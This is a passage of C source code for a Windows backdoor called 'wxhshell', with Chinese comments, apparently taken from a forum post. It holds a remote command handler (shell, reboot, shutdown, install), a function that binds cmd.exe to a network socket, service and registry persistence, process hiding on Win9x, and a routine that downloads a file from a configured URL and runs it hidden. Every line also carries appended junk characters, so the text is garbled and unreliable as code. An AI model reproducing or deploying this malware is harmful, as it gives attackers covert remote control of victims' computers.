      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ig S.U  
    break; O":x$>'t  
  } /Nxy?g|,  
  // 安装 s V{[~U,|  
  case 'i': { !d"J,.)  
    if(Install()) 9ft7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *^QfTKN   
    else g*!2.P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,V |>nkQ  
    break; pU}>}  
    } -3bl !9h^  
  // 卸载 K uFDkT!  
  case 'r': { V! ~uGf  
    if(Uninstall()) W;,Jte<'Nm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]D<r5P%  
    else w~1K93/p!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LN_6>u  
    break; whRc YnJ  
    } |\elM[G"g  
  // 显示 wxhshell 所在路径 wUl}x)xo  
  case 'p': { 9jJ&QACn  
    char svExeFile[MAX_PATH]; x?f3XEA_  
    strcpy(svExeFile,"\n\r"); HO$s&}t  
      strcat(svExeFile,ExeFile); 191O(H  
        send(wsh,svExeFile,strlen(svExeFile),0); @8DA  
    break; 2j( w*k q~  
    } m&o&XVC  
  // 重启 8th G-  
  case 'b': { szWh#O5=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #d__  
    if(Boot(REBOOT)) *mq+w&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !U*i13  
    else { I~#'76L[  
    closesocket(wsh); ~6{;3"^<  
    ExitThread(0); : h-N  
    } :)%Vahu  
    break; 1Te: &d  
    } Xgop1  
  // 关机 Xc`'i@FX  
  case 'd': { X}g!Lp  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a i}8+L8-  
    if(Boot(SHUTDOWN)) !3d +"tL S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a o\+%s  
    else { x|E$ f+  
    closesocket(wsh); J/ <[irC  
    ExitThread(0); |>VDMezy  
    } H|Q)Tp Lk  
    break; |A}E/=HPU  
    } pSc<3OI  
  // 获取shell .:$%3#N$(Y  
  case 's': { u[ "Pg  
    CmdShell(wsh); O@?? NF6G  
    closesocket(wsh); -1Tws|4gc  
    ExitThread(0); P ,5P6Y9  
    break; a?&oOQd-iP  
  } jC<<S  
  // 退出 glPOW  
  case 'x': { 0xZq?9a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S9-K  
    CloseIt(wsh); E^Q|v45d  
    break;  |o=eS&)  
    } ^tae (}  
  // 离开 H@5:x8  
  case 'q': { )2u=U9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n16,u$|  
    closesocket(wsh); zj"J~s;?  
    WSACleanup();  +'Tr>2V  
    exit(1); JdFMSmZ@  
    break; u;;]S!:M  
        } lhJT&  
  } =Tb~CT=  
  } vU&gFEWg  
M}3>5*!=  
  // 提示信息 uRwIxT2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FZb\VUmnV  
} A2$:p$[  
  } kcM9 ,bG  
d; V  
  return; KS3 /  
} YD7i6A  
v-_K'm  
// shell模块句柄 h#'(UZ  
int CmdShell(SOCKET sock) 1}B W   
{ mgh,)=2cE(  
STARTUPINFO si; B k#68p  
ZeroMemory(&si,sizeof(si)); }(O 7tC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l[L\|hv'n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;40!2P8t  
PROCESS_INFORMATION ProcessInfo; @kRe0:t  
char cmdline[]="cmd"; jQC6N#L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4Poi:0oOys  
  return 0; _`*x}  
} 97NF*-)N  
k9'%8(7M:  
// 自身启动模式 8cF-kfbfZ  
int StartFromService(void) Bp>%'L  
{ L]9uY  
typedef struct ld$LG6[PA  
{  3m  
  DWORD ExitStatus; HE7JQP!q  
  DWORD PebBaseAddress; n3jA[p:  
  DWORD AffinityMask; (]vHW+'  
  DWORD BasePriority; v-2.OS<o  
  ULONG UniqueProcessId; )9{?C4NQ  
  ULONG InheritedFromUniqueProcessId; K/ I3r_  
}   PROCESS_BASIC_INFORMATION; p!|ok #sW  
(,[m}Qb?!  
PROCNTQSIP NtQueryInformationProcess; %AXa(C\1  
$xa#+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3[pA:Z+xx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MjQKcL4%7  
Vq -!1.v3  
  HANDLE             hProcess; B/c_pRl;  
  PROCESS_BASIC_INFORMATION pbi; `GUj.+u  
uhbo/7d'7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Fpzps!(;=  
  if(NULL == hInst ) return 0; :|EM1-lwf  
U[ u9RB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n*{e0,gp`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M)!8 `]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C>4y<,Q  
,a~- (@  
  if (!NtQueryInformationProcess) return 0; FzXVNUMP  
@;"HslU\Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O}*[@uv/  
  if(!hProcess) return 0; :S{[^ -"  
yE. ZvvQA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A d=NJhzl  
9<W0'6%{/  
  CloseHandle(hProcess); i:ZpAo+Z{  
tE/j3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'd D d9  
if(hProcess==NULL) return 0; ~^UQw? ;  
m%X~EwFc.  
HMODULE hMod; v1 d]  
char procName[255]; K%Vl:2#F  
unsigned long cbNeeded; ICTl{|i ]  
]<WKi=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XuVbi=pN.2  
%($sj| _l  
  CloseHandle(hProcess); hIuK s5`  
H :}|UW  
if(strstr(procName,"services")) return 1; // 以服务启动 h?p&9[e`  
@D[jUC$E  
  return 0; // 注册表启动 t.v@\[{ -  
} S6*3."Sk  
W1w)SS  
// 主模块 24}r;=U  
int StartWxhshell(LPSTR lpCmdLine) gxycw4kz  
{ Sx5r u?$.  
  SOCKET wsl; wv # 1s3  
BOOL val=TRUE; ]/XNfb  
  int port=0; ^ D/:[  
  struct sockaddr_in door; MW &iNioX  
Q4JwX=ZVj  
  if(wscfg.ws_autoins) Install(); 5#p [Q _  
.36z  
port=atoi(lpCmdLine); rg]eSP3 W  
N5Eb.a9S  
if(port<=0) port=wscfg.ws_port; WFocA:  
XsQ?&xK=u  
  WSADATA data; QHUoAa`6v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n9B1NM5 \  
jFZJ #'CNS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3l0x~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -5l74f!i  
  door.sin_family = AF_INET; *6cP-Vzd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qY]IX9'kV  
  door.sin_port = htons(port); cxFfAk\,en  
{a-p/\U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S^HuQe!#  
closesocket(wsl); *` >(K&  
return 1; U< |kA(5  
} r5xu#%hgp;  
r]iec{ ^  
  if(listen(wsl,2) == INVALID_SOCKET) { j)?I]j/  
closesocket(wsl); iqig~fjK ~  
return 1; U{ gJn#e/.  
} ]7}2"?J4v  
  Wxhshell(wsl); eNY$N_P   
  WSACleanup(); 0.4c|-n  
2~AGOx  
return 0; 6Daz1Pxd+  
%,g6:Zc@  
} D0/ \  
/[`bPKr  
// 以NT服务方式启动 7_)'Re#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C S"2Sd 1`  
{ 5 5>^H1M  
DWORD   status = 0; @[D-2s  
  DWORD   specificError = 0xfffffff; eVL'Ao&Ho  
M]oO1GM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `So*\#\T  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `{s:lf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t5G@M&d4Eo  
  serviceStatus.dwWin32ExitCode     = 0; ;>{B K,  
  serviceStatus.dwServiceSpecificExitCode = 0; /!rH DcR  
  serviceStatus.dwCheckPoint       = 0; dU+28  
  serviceStatus.dwWaitHint       = 0; tJy6\~  
w&:"x@ -|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Gt{~u^<  
  if (hServiceStatusHandle==0) return; !>W _3Ea  
w+(bkqz]  
status = GetLastError(); s"#>Xc  
  if (status!=NO_ERROR) g|tnYN  
{ n KC$ KC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >_XRh  
    serviceStatus.dwCheckPoint       = 0; B v /]>Z  
    serviceStatus.dwWaitHint       = 0; Rb\M63q  
    serviceStatus.dwWin32ExitCode     = status; h1} x2  
    serviceStatus.dwServiceSpecificExitCode = specificError; >y#<WB$i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T B~C4HK=  
    return; c7.%Bn,  
  } }A;J-7g6  
|f;u5r!^=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Xs$k6C3  
  serviceStatus.dwCheckPoint       = 0; \2~Cn c*O  
  serviceStatus.dwWaitHint       = 0; v@TP_Ka  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d#cw`h<c~  
} a^t#kdT  
ZgVYC4=Q-\  
// 处理NT服务事件,比如:启动、停止 p@!{Sh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (Vnv"= (  
{ ^noKk6Aaa  
switch(fdwControl) #Y`GWT1==  
{ Ytop=ZIl'  
case SERVICE_CONTROL_STOP: | z=:D*uh~  
  serviceStatus.dwWin32ExitCode = 0; vzA)pB~;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Dp4\rps  
  serviceStatus.dwCheckPoint   = 0; _PZGns,u  
  serviceStatus.dwWaitHint     = 0; *oqQ=#\  
  { m~mw1r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,r!_4|\  
  } {>'GE16x  
  return; @ eu4W^W  
case SERVICE_CONTROL_PAUSE: *U|K~dl]K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2'UWPZgE  
  break; Rqu_[M  
case SERVICE_CONTROL_CONTINUE: s ki'I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J@ZIW%5  
  break; 60(j[d-$p  
case SERVICE_CONTROL_INTERROGATE: 6OuB}*  
  break; h BD .IB  
}; ]E$h7I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b7 %Z~  
} {3cT\u  
yU]NgG=z:-  
// 标准应用程序主函数 O N..B} J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C&?Z\$ -/  
{ IIcG+zwx  
Gv?3T Am8  
// 获取操作系统版本 ;5QdT{$H  
OsIsNt=GetOsVer(); Y@N-q   
GetModuleFileName(NULL,ExeFile,MAX_PATH); sw A^oU  
jz;N&62|  
  // 从命令行安装 1{{z[w#  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZqH.$nXP  
NN\>( =  
  // 下载执行文件 a~jU~('4}w  
if(wscfg.ws_downexe) { KPc`5X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U7i WYdt$  
  WinExec(wscfg.ws_filenam,SW_HIDE); Hz39v44  
} AlF"1X02  
}}L :6^  
if(!OsIsNt) { If[4]-dq  
// 如果时win9x,隐藏进程并且设置为注册表启动 8>Az<EF^=#  
HideProc(); P]w5`aBM  
StartWxhshell(lpCmdLine); "X<vgM^:  
} X}x"+ #\<@  
else C],"va  
  if(StartFromService()) [H ^ ktF  
  // 以服务方式启动 /Ilve U`E  
  StartServiceCtrlDispatcher(DispatchTable); H8@1Kt  
else _M[@a6?  
  // 普通方式启动 p,#t[K  
  StartWxhshell(lpCmdLine); ypyqf55gK  
N 0<([B;  
return 0; &5k$ v^W5  
}
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只看该作者 1 发表于: 2006-10-10
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